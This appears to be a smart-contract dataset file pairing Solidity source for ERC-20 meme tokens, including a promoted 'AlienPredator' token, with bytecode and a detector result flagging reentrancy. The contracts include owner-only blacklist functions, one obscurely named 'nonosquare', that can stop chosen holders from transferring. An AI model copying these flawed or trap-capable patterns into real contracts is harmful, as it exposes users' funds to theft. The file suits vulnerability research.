emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 11;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 11;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 15000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610295578063b515566a146102b5578063c3c8cd80146102d5578063c9567bf9146102ea578063dd62ed3e146102ff57600080fd5b806370a0823114610238578063715018a6146102585780638da5cb5b1461026d57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c5578063313ce567146101e75780635932ead1146102035780636fc3eaec1461022357600080fd5b806306fdde031461010e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082018252600681526514995910d85d60d21b602082015290516101439190611792565b60405180910390f35b34801561015857600080fd5b5061016c610167366004611632565b610345565b6040519015158152602001610143565b34801561018857600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610143565b3480156101b157600080fd5b5061016c6101c03660046115f1565b61035c565b3480156101d157600080fd5b506101e56101e036600461157e565b6103c5565b005b3480156101f357600080fd5b5060405160098152602001610143565b34801561020f57600080fd5b506101e561021e36600461172a565b610419565b34801561022f57600080fd5b506101e5610461565b34801561024457600080fd5b5061019761025336600461157e565b61048e565b34801561026457600080fd5b506101e56104b0565b34801561027957600080fd5b506000546040516001600160a01b039091168152602001610143565b3480156102a157600080fd5b5061016c6102b0366004611632565b610524565b3480156102c157600080fd5b506101e56102d036600461165e565b610531565b3480156102e157600080fd5b506101e56105c7565b3480156102f657600080fd5b506101e56105fd565b34801561030b57600080fd5b5061019761031a3660046115b8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103523384846109c6565b5060015b92915050565b6000610369848484610aea565b6103bb84336103b68560405180606001604052806028815260200161197e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e35565b6109c6565b5060019392505050565b6000546001600160a01b031633146103f85760405162461bcd60e51b81526004016103ef906117e7565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104435760405162461bcd60e51b81526004016103ef906117e7565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048157600080fd5b4761048b81610e6f565b50565b6001600160a01b03811660009081526002602052604081205461035690610ef4565b6000546001600160a01b031633146104da5760405162461bcd60e51b81526004016103ef906117e7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610352338484610aea565b6000546001600160a01b0316331461055b5760405162461bcd60e51b81526004016103ef906117e7565b60005b81518110156105c35760016006600084848151811061057f5761057f61192e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105bb816118fd565b91505061055e565b5050565b600c546001600160a01b0316336001600160a01b0316146105e757600080fd5b60006105f23061048e565b905061048b81610f78565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016103ef906117e7565b600f54600160a01b900460ff16156106815760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ef565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c130826b033b2e3c9fd0803ce80000006109c6565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106fa57600080fd5b505afa15801561070e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610732919061159b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077a57600080fd5b505afa15801561078e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b2919061159b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107fa57600080fd5b505af115801561080e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610832919061159b565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108628161048e565b6000806108776000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108da57600080fd5b505af11580156108ee573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109139190611764565b5050600f80546a0c685fa11e01ec6f00000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098e57600080fd5b505af11580156109a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c39190611747565b6001600160a01b038316610a285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ef565b6001600160a01b038216610a895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ef565b6001600160a01b038216610bb05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ef565b60008111610c125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ef565b6001600a55600b80556000546001600160a01b03848116911614801590610c4757506000546001600160a01b03838116911614155b15610e25576001600160a01b03831660009081526006602052604090205460ff16158015610c8e57506001600160a01b03821660009081526006602052604090205460ff16155b610c9757600080fd5b600f546001600160a01b038481169116148015610cc25750600e546001600160a01b03838116911614155b8015610ce757506001600160a01b03821660009081526005602052604090205460ff16155b8015610cfc5750600f54600160b81b900460ff165b15610d5957601054811115610d1057600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3457600080fd5b610d3f42603c61188d565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d845750600e546001600160a01b03848116911614155b8015610da957506001600160a01b03831660009081526005602052604090205460ff16155b15610db8576001600a55600b80555b6000610dc33061048e565b600f54909150600160a81b900460ff16158015610dee5750600f546001600160a01b03858116911614155b8015610e035750600f54600160b01b900460ff165b15610e2357610e1181610f78565b478015610e2157610e2147610e6f565b505b505b610e30838383611101565b505050565b60008184841115610e595760405162461bcd60e51b81526004016103ef9190611792565b506000610e6684866118e6565b95945050505050565b600c546001600160a01b03166108fc610e8983600261110c565b6040518115909202916000818181858888f19350505050158015610eb1573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ecc83600261110c565b6040518115909202916000818181858888f193505050501580156105c3573d6000803e3d6000fd5b6000600854821115610f5b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ef565b6000610f6561114e565b9050610f71838261110c565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc057610fc061192e565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101457600080fd5b505afa158015611028573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104c919061159b565b8160018151811061105f5761105f61192e565b6001600160a01b039283166020918202929092010152600e5461108591309116846109c6565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110be90859060009086903090429060040161181c565b600060405180830381600087803b1580156110d857600080fd5b505af11580156110ec573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e30838383611171565b6000610f7183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611268565b600080600061115b611296565b909250905061116a828261110c565b9250505090565b600080600080600080611183876112de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111b5908761133b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111e4908661137d565b6001600160a01b038916600090815260026020526040902055611206816113dc565b6112108483611426565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125591815260200190565b60405180910390a3505050505050505050565b600081836112895760405162461bcd60e51b81526004016103ef9190611792565b506000610e6684866118a5565b60085460009081906b033b2e3c9fd0803ce80000006112b5828261110c565b8210156112d5575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006112fb8a600a54600b5461144a565b925092509250600061130b61114e565b9050600080600061131e8e87878761149f565b919e509c509a509598509396509194505050505091939550919395565b6000610f7183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e35565b60008061138a838561188d565b905083811015610f715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ef565b60006113e661114e565b905060006113f483836114ef565b30600090815260026020526040902054909150611411908261137d565b30600090815260026020526040902055505050565b600854611433908361133b565b600855600954611443908261137d565b6009555050565b6000808080611464606461145e89896114ef565b9061110c565b90506000611477606461145e8a896114ef565b9050600061148f826114898b8661133b565b9061133b565b9992985090965090945050505050565b60008080806114ae88866114ef565b905060006114bc88876114ef565b905060006114ca88886114ef565b905060006114dc82611489868661133b565b939b939a50919850919650505050505050565b6000826114fe57506000610356565b600061150a83856118c7565b90508261151785836118a5565b14610f715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ef565b80356115798161195a565b919050565b60006020828403121561159057600080fd5b8135610f718161195a565b6000602082840312156115ad57600080fd5b8151610f718161195a565b600080604083850312156115cb57600080fd5b82356115d68161195a565b915060208301356115e68161195a565b809150509250929050565b60008060006060848603121561160657600080fd5b83356116118161195a565b925060208401356116218161195a565b929592945050506040919091013590565b6000806040838503121561164557600080fd5b82356116508161195a565b946020939093013593505050565b6000602080838503121561167157600080fd5b823567ffffffffffffffff8082111561168957600080fd5b818501915085601f83011261169d57600080fd5b8135818111156116af576116af611944565b8060051b604051601f19603f830116810181811085821117156116d4576116d4611944565b604052828152858101935084860182860187018a10156116f357600080fd5b600095505b8386101561171d576117098161156e565b8552600195909501949386019386016116f8565b5098975050505050505050565b60006020828403121561173c57600080fd5b8135610f718161196f565b60006020828403121561175957600080fd5b8151610f718161196f565b60008060006060848603121561177957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117bf578581018301518582016040015282016117a3565b818111156117d1576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186c5784516001600160a01b031683529383019391830191600101611847565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118a0576118a0611918565b500190565b6000826118c257634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118e1576118e1611918565b500290565b6000828210156118f8576118f8611918565b500390565b600060001982141561191157611911611918565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048b57600080fd5b801515811461048b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df7ab70b7af761171aaecc40655488c997e6871ca374714de3dc05093311fe2a64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,511 |
0x8ab82dd7d0a74af88d17b6420b5027af85f30940
|
/**
Why Should Choose AlienPredator ? 🔥🔥
Low Tax Play✅
Based Dev✅
Big Marketing Plan✅
Will be Locked and renounced✅
Telegram:https://t.me/AlienPreadtorToken
Twitter:https://twitter.com/AlienPredator20
Website:https://www.alienpredator.info/
8% Buy Tax
10% Sell Tax
80%
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AlienPredator is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "AlienPredator";
string private constant _symbol = "AlienPredator";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xD6Da3907A70C1dfBD167E7893348805a090b223F);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
_maxWalletSize = 2000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600d81526020017f416c69656e5072656461746f7200000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73fffffffffffffffffffffffffffffffffffffff